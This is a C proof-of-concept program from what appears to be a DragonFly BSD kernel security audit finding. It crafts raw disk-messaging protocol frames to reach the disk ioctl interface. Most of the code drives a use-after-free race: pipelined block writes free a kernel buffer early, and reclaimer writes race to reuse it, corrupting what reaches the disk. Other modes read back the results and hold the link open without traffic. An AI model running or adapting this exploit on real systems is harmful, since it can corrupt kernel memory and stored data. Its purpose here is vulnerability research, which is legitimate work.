DragonFlyBSD Kernel Audit
DF-2876 / dfpeer.c
← back to finding ↓ download raw
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
/*
 * dfpeer.c -- DragonFly kdmsg/xdisk wire-protocol peer for auditing
 *             sys/kern/subr_diskiocom.c (disk dmsg server side).
 *
 * Attaches to a whole-disk cdev via DIOCRECLUSTER (the ioctl handled by
 * disk_iocom_ioctl(), sys/kern/subr_diskiocom.c:108) with our own end of
 * a socketpair, then speaks the DMSG_BLK_* protocol directly:
 *
 *   openwr   <dev> <modes>            - BLK_OPEN|CREATE transaction (RD=1 WR=2)
 *   write    <dev> <off> <len> <c>    - single BLK_WRITE|CREATE|DELETE txn
 *   read     <dev> <off> <len> <out>  - single BLK_READ|CREATE|DELETE txn
 *   eofread  <dev> <off> <len> <out>  - same, intended at/after EOF
 *   pipeline <dev> <n> <aux> <off> <stride> <reclaimers>
 *                                     - ONE BLK_WRITE transaction streaming
 *                                       n pipelined writes (CREATE on first
 *                                       only), then <reclaimers> extra writes
 *                                       whose aux allocations race to reclaim
 *                                       the prematurely-freed buffer; finally
 *                                       DELETE. Readback is done by `read`.
 *   probe    <dev>                    - attach, drain, report kernel frames
 *
 * Build:  cc -O -o dfpeer dfpeer.c
 * The kernel reader thread (kern_dmsg.c kdmsg_iocom_thread_rd) only checks
 * magic/hbytes/aux_bytes -- no CRC verification on receive -- so we can
 * hand-craft frames.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/param.h>
#include <sys/diskslice.h>
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* ---- wire format (mirror of sys/sys/dmsg.h, all naturally aligned) ---- */
#define W_MAGIC        0x4832
#define W_ALIGN        64
#define W_DOALIGN(b)   (((b)+63) & ~63ULL)
#define F_CREATE       0x80000000U
#define F_DELETE       0x40000000U
#define F_REPLY        0x20000000U
#define F_ABORT        0x10000000U
#define F_CMDSWMASK    0x00FFFFFFU   /* CMDS|SIZE|PROTOS|REPLY for matching */

#define PROTO_BLK      0x00500000U
#define PROTO_LNK      0x00000000U
#define SUB_OPEN       0x001
#define SUB_READ       0x003
#define SUB_WRITE      0x004
#define SUB_LNKERR     0xFFF
#define HDRUNITS(n)    ((((n)+63)/64) & 0xFF)
#define CMD_BLK(sub, extlen) (PROTO_BLK | ((sub)<<8) | HDRUNITS(extlen))

struct w_hdr {
    uint16_t magic;
    uint16_t r02;
    uint32_t salt;
    uint64_t msgid;
    uint64_t circuit;
    uint64_t link_verifier;
    uint32_t cmd;
    uint32_t aux_crc;
    uint32_t aux_bytes;
    uint32_t error;
    uint64_t aux_descr;
    uint32_t r38;
    uint32_t hdr_crc;
};
/* extended blk payloads begin at byte 64 */
struct w_blk {
    struct w_hdr h;      /* 64 */
    uint64_t keyid;      /* 64 */
    uint64_t offset;     /* 72 */
    uint32_t bytes;      /* 80 */
    uint32_t flags;      /* 84 */
    uint32_t r1;         /* 88 */
    uint32_t r2;         /* 92 */
};

static int   peer_fd = -1;
static int   dev_fd  = -1;
static uint64_t next_msgid = 0x10000;
static uint8_t last_hdr[2048];  /* full extended header of last read frame */

static void die(const char *s) { perror(s); exit(2); }

static void xwrite(int fd, const void *buf, size_t n)
{
    const char *p = buf;
    while (n) {
        ssize_t r = write(fd, p, n);
        if (r < 0) {
            if (errno == EINTR || errno == EAGAIN) continue;
            die("write(peer)");
        }
        p += r; n -= r;
    }
}

static void xread(int fd, void *buf, size_t n)
{
    char *p = buf;
    while (n) {
        ssize_t r = read(fd, p, n);
        if (r < 0) {
            if (errno == EINTR || errno == EAGAIN) continue;
            die("read(peer)");
        }
        if (r == 0) { fprintf(stderr, "peer: EOF from kernel\n"); exit(3); }
        p += r; n -= r;
    }
}

/* read one frame; returns 0 ok; aux (if any) malloc'd into *aux_out */
static int read_frame(struct w_hdr *hdr, uint8_t **aux_out, size_t *auxn)
{
    uint32_t hbytes;
    xread(peer_fd, last_hdr, 64);
    memcpy(hdr, last_hdr, 64);
    if (hdr->magic != W_MAGIC) {
        fprintf(stderr, "peer: bad magic %04x\n", hdr->magic);
        exit(4);
    }
    hbytes = (hdr->cmd & 0xFF) * W_ALIGN;
    if (hbytes > 64 && hbytes <= sizeof(last_hdr))
        xread(peer_fd, last_hdr + 64, hbytes - 64);
    *aux_out = NULL; *auxn = 0;
    if (hdr->aux_bytes) {
        size_t ab = hdr->aux_bytes;
        size_t al = W_DOALIGN(ab);
        uint8_t *a = malloc(al ? al : 1);
        xread(peer_fd, a, al);
        *aux_out = a; *auxn = ab;
    }
    return 0;
}

/* send a blk message with aux payload */
static void send_blk(uint32_t cmd, uint64_t msgid, uint64_t off,
                     uint32_t bytes, const void *aux, size_t auxn)
{
    struct w_blk b;
    uint8_t pad[W_ALIGN];
    memset(&b, 0, sizeof(b));
    b.h.magic = W_MAGIC;
    b.h.cmd = cmd;
    b.h.msgid = msgid;
    b.h.aux_bytes = (uint32_t)auxn;
    b.keyid = 0;
    b.offset = off;
    b.bytes = bytes;
    xwrite(peer_fd, &b, sizeof(b));            /* 96 bytes ...          */
    xwrite(peer_fd, pad, 32);                  /* ... pad to hbytes=128 */
    if (auxn) {
        xwrite(peer_fd, aux, auxn);
        size_t tail = W_DOALIGN(auxn) - auxn;
        if (tail) { memset(pad, 0, sizeof(pad)); xwrite(peer_fd, pad, tail); }
    }
}

static void send_blk_open(uint32_t cmd, uint64_t msgid, uint32_t modes)
{
    uint8_t fbuf[128];
    memset(fbuf, 0, sizeof(fbuf));
    struct w_hdr *h = (struct w_hdr *)fbuf;
    h->magic = W_MAGIC;
    h->cmd = cmd;
    h->msgid = msgid;
    *(uint32_t *)(fbuf + 64) = modes;          /* blk_open.modes */
    xwrite(peer_fd, fbuf, sizeof(fbuf));
}

/* wait for a REPLY frame whose msgid matches; skip unrelated (LNK_CONN etc) */
static int wait_reply(uint64_t msgid, struct w_hdr *hdr,
                      uint8_t **aux, size_t *auxn, int verbose)
{
    for (;;) {
        read_frame(hdr, aux, auxn);
        if (verbose)
            fprintf(stderr, "frame: cmd=%08x msgid=%016jx err=%u aux=%zu\n",
                    hdr->cmd, (uintmax_t)hdr->msgid, hdr->error, *auxn);
        if ((hdr->cmd & F_REPLY) && hdr->msgid == msgid)
            return 0;
        free(*aux); *aux = NULL; *auxn = 0;
    }
}

static void attach(const char *dev)
{
    int sv[2];
    struct disk_ioc_recluster recl;
    size_t big = 8*1024*1024;

    dev_fd = open(dev, getenv("DFOPEN_RDWR") ? O_RDWR : O_RDONLY);
    if (dev_fd < 0) die("open(dev)");
    if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) die("socketpair");
    setsockopt(sv[0], SOL_SOCKET, SO_RCVBUF, &big, sizeof(big));
    setsockopt(sv[0], SOL_SOCKET, SO_SNDBUF, &big, sizeof(big));
    setsockopt(sv[1], SOL_SOCKET, SO_RCVBUF, &big, sizeof(big));
    setsockopt(sv[1], SOL_SOCKET, SO_SNDBUF, &big, sizeof(big));

    memset(&recl, 0, sizeof(recl));
    recl.fd = sv[0];
    fprintf(stderr, "peer: ioctl(DIOCRECLUSTER fd=%d)...\n", sv[0]);
    if (ioctl(dev_fd, DIOCRECLUSTER, &recl) < 0)
        die("ioctl(DIOCRECLUSTER)");
    close(sv[0]);
    peer_fd = sv[1];
    fprintf(stderr, "peer: attached, peer_fd=%d\n", peer_fd);
}

int main(int argc, char **argv)
{
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
    alarm(90);
    if (argc < 2) goto usage;
    const char *dev = argv[2];

    if (!strcmp(argv[1], "probe")) {
        struct w_hdr h; uint8_t *a; size_t an; int n = 0;
        attach(dev);
        for (;;) {
            read_frame(&h, &a, &an);
            printf("frame[%d]: cmd=%08x msgid=%016jx err=%u aux=%zu\n",
                   n++, h.cmd, (uintmax_t)h.msgid, h.error, an);
            free(a);
            if (n >= 8) break;
        }
        return 0;
    }
    if (!strcmp(argv[1], "openwr")) {
        uint32_t modes = (uint32_t)strtoul(argv[3], NULL, 0);
        uint64_t mid = next_msgid++;
        struct w_hdr h; uint8_t *a; size_t an;
        attach(dev);
        send_blk_open(CMD_BLK(SUB_OPEN, 72) | F_CREATE, mid, modes);
        wait_reply(mid, &h, &a, &an, 1);
        printf("BLK_OPEN modes=%u -> reply cmd=%08x error=%u\n",
               modes, h.cmd, h.error);
        return (h.error == 0) ? 0 : 1;
    }
    if (!strcmp(argv[1], "write")) {
        uint64_t off = strtoull(argv[3], NULL, 0);
        uint32_t len = (uint32_t)strtoul(argv[4], NULL, 0);
        int pat = argc > 5 ? (int)strtoul(argv[5], NULL, 0) : 0x5a;
        uint64_t mid = next_msgid++;
        uint8_t *aux = malloc(len);
        struct w_hdr h; uint8_t *a; size_t an;
        memset(aux, pat, len);
        attach(dev);
        send_blk(CMD_BLK(SUB_WRITE, 96) | F_CREATE | F_DELETE, mid,
                 off, len, aux, len);
        wait_reply(mid, &h, &a, &an, 1);
        printf("BLK_WRITE off=%ju len=%u pat=%02x -> reply cmd=%08x error=%u\n",
               (uintmax_t)off, len, pat, h.cmd, h.error);
        return (h.error == 0) ? 0 : 1;
    }
    if (!strcmp(argv[1], "read") || !strcmp(argv[1], "eofread")) {
        uint64_t off = strtoull(argv[3], NULL, 0);
        uint32_t len = (uint32_t)strtoul(argv[4], NULL, 0);
        const char *out = argv[5];
        uint64_t mid = next_msgid++;
        struct w_hdr h; uint8_t *a = NULL; size_t an = 0;
        uint32_t resid;
        attach(dev);
        send_blk(CMD_BLK(SUB_READ, 96) | F_CREATE | F_DELETE, mid,
                 off, len, NULL, 0);
        wait_reply(mid, &h, &a, &an, 1);
        resid = *(uint32_t *)(last_hdr + 72);   /* blk_error.resid if BLK_ERROR */
        printf("%s off=%ju len=%u -> reply cmd=%08x error=%u resid=%u aux=%zu\n",
               argv[1], (uintmax_t)off, len, h.cmd, h.error, resid, an);
        if (an) {
            printf("aux[0..47]: ");
            for (size_t i = 0; i < an && i < 48; i++) printf("%02x", a[i]);
            printf("\n");
        }
        if (an && out && strcmp(out, "-")) {
            FILE *f = fopen(out, "wb");
            if (f) { fwrite(a, 1, an, f); fclose(f); }
            printf("aux dumped to %s\n", out);
        }
        return 0;
    }
    if (!strcmp(argv[1], "pipeline")) {
        /*
         * pipeline <dev> <n> <auxlen> <off> <stride> <reclaimers>
         */
        int n = atoi(argv[3]);
        uint32_t alen = (uint32_t)strtoul(argv[4], NULL, 0);
        uint64_t off = strtoull(argv[5], NULL, 0);
        uint64_t stride = strtoull(argv[6], NULL, 0);
        int nrec = atoi(argv[7]);
        uint64_t t = next_msgid++;
        uint8_t *aux = malloc(alen);
        struct w_hdr h; uint8_t *a; size_t an;
        int i;

        attach(dev);
        memset(aux, 0, alen);

        /* W1: CREATE the transaction, plain streaming afterwards */
        for (i = 0; i < n; i++) {
            uint32_t cmd = CMD_BLK(SUB_WRITE, 96);
            if (i == 0) cmd |= F_CREATE;
            memset(aux, 0x10 + i, alen);
            send_blk(cmd, t, off + (uint64_t)i * stride, alen, aux, alen);
        }
        /* reclaimers: more streaming writes whose aux kmallocs race to
         * reuse the buffer freed by the first completion; they target
         * DIFFERENT offsets so any 0xAA landing at an original offset
         * proves a freed-then-reused buffer was DMA'd by an older bio */
        for (i = 0; i < nrec; i++) {
            uint32_t cmd = CMD_BLK(SUB_WRITE, 96);
            if (i == nrec - 1) cmd |= F_DELETE;   /* eof on last */
            memset(aux, 0xAA, alen);
            send_blk(cmd, t, off + (uint64_t)(n + i) * stride, alen, aux, alen);
        }
        /* drain replies: expect n + nrec replies, last has DELETE */
        int got_del = 0;
        for (;;) {
            read_frame(&h, &a, &an);
            free(a);
            if ((h.cmd & F_REPLY) && (h.cmd & F_DELETE)) got_del++;
            if (got_del >= 1) break;   /* our txn closing reply */
        }
        printf("pipeline: %d writes + %d reclaimers streamed in txn %jx\n",
               n, nrec, (uintmax_t)t);
        return 0;
    }

    if (!strcmp(argv[1], "pipelines")) {
        /*
         * pipelines <dev> <rounds> <w1len> <w2len> <base> <stride>
         * Per round, in ONE BLK_WRITE transaction:
         *   W1 (small aux A)  -- CREATE
         *   W2 (big   aux B)
         *   R1..R4 (big aux, reclaimer pattern 0xAA)  -- last carries DELETE
         * W1's completion frees iost->data == aux(W2) while W2 may still
         * be in flight (subr_diskiocom.c:440 overwrite + :606 free).
         * Reclaimer aux allocations race to reuse the freed buffer.
         */
        int rounds = atoi(argv[3]);
        uint32_t l1 = (uint32_t)strtoul(argv[4], NULL, 0);
        uint32_t l2 = (uint32_t)strtoul(argv[5], NULL, 0);
        uint64_t base = strtoull(argv[6], NULL, 0);
        uint64_t stride = strtoull(argv[7], NULL, 0);
        struct w_hdr h; uint8_t *a; size_t an;
        int r, i;

        uint8_t *b1 = malloc(l1);
        uint8_t *b2 = malloc(l2);

        attach(dev);
        for (r = 0; r < rounds; r++) {
            uint64_t t = 0x20000000ULL + r;
            uint64_t o1 = base + (uint64_t)(6 * r + 0) * stride;
            uint64_t o2 = base + (uint64_t)(6 * r + 1) * stride;

            memset(b1, 0x11 + (r & 0xff), l1);
            memset(b2, 0x22 + (r & 0xff), l2);

            send_blk(CMD_BLK(SUB_WRITE, 96) | F_CREATE, t, o1, l1, b1, l1);
            send_blk(CMD_BLK(SUB_WRITE, 96), t, o2, l2, b2, l2);
            /* reclaimers: same size class as b2 */
            for (i = 0; i < 4; i++) {
                uint32_t cmd = CMD_BLK(SUB_WRITE, 96);
                if (i == 3) cmd |= F_DELETE;
                memset(b2, 0xAA, l2);
                send_blk(cmd, t, base + (uint64_t)(6 * r + 2 + i) * stride,
                         l2, b2, l2);
            }
            /* drain until the DELETE reply for txn t */
            for (;;) {
                read_frame(&h, &a, &an);
                free(a);
                if ((h.cmd & F_REPLY) && (h.cmd & F_DELETE) &&
                    h.msgid == t)
                    break;
            }
        }
        printf("pipelines: %d rounds done\n", rounds);
        return 0;
    }
    if (!strcmp(argv[1], "readscan")) {
        /*
         * readscan <dev> <base> <n> <stride> [rounds-info...]
         * prints first byte of each block (identifies which pattern
         * landed at each offset: 0x11+r = W1, 0x22+r = W2, 0xAA = rec)
         */
        uint64_t base = strtoull(argv[3], NULL, 0);
        int n = atoi(argv[4]);
        uint64_t stride = strtoull(argv[5], NULL, 0);
        struct w_hdr h; uint8_t *a = NULL; size_t an = 0;
        int i;
        attach(dev);
        for (i = 0; i < n; i++) {
            uint64_t mid = 0x30000000ULL + i;
            uint64_t off = base + (uint64_t)i * stride;
            uint32_t len = (uint32_t)stride;
            send_blk(CMD_BLK(SUB_READ, 96) | F_CREATE | F_DELETE, mid,
                     off, len, NULL, 0);
            wait_reply(mid, &h, &a, &an, 0);
            printf("off+%03d (0x%jx): %02x %02x %02x %02x\n", i,
                   (uintmax_t)off,
                   an > 0 ? a[0] : 0, an > 1 ? a[1] : 0,
                   an > 2 ? a[2] : 0, an > 3 ? a[3] : 0);
            free(a); a = NULL;
        }
        return 0;
    }
    if (!strcmp(argv[1], "hold")) {
        /* attach and park: hold the kernel's peer socket open, send
         * nothing, read nothing (simulates a non-cooperating peer) */
        int secs = argc > 3 ? atoi(argv[3]) : 300;
        attach(dev);
        fprintf(stderr, "peer: holding link open %ds (no traffic)\n", secs);
        sleep(secs);
        return 0;
    }
usage:
    fprintf(stderr,
      "usage: %s probe|openwr|write|read|eofread|pipeline args...\n", argv[0]);
    return 64;
}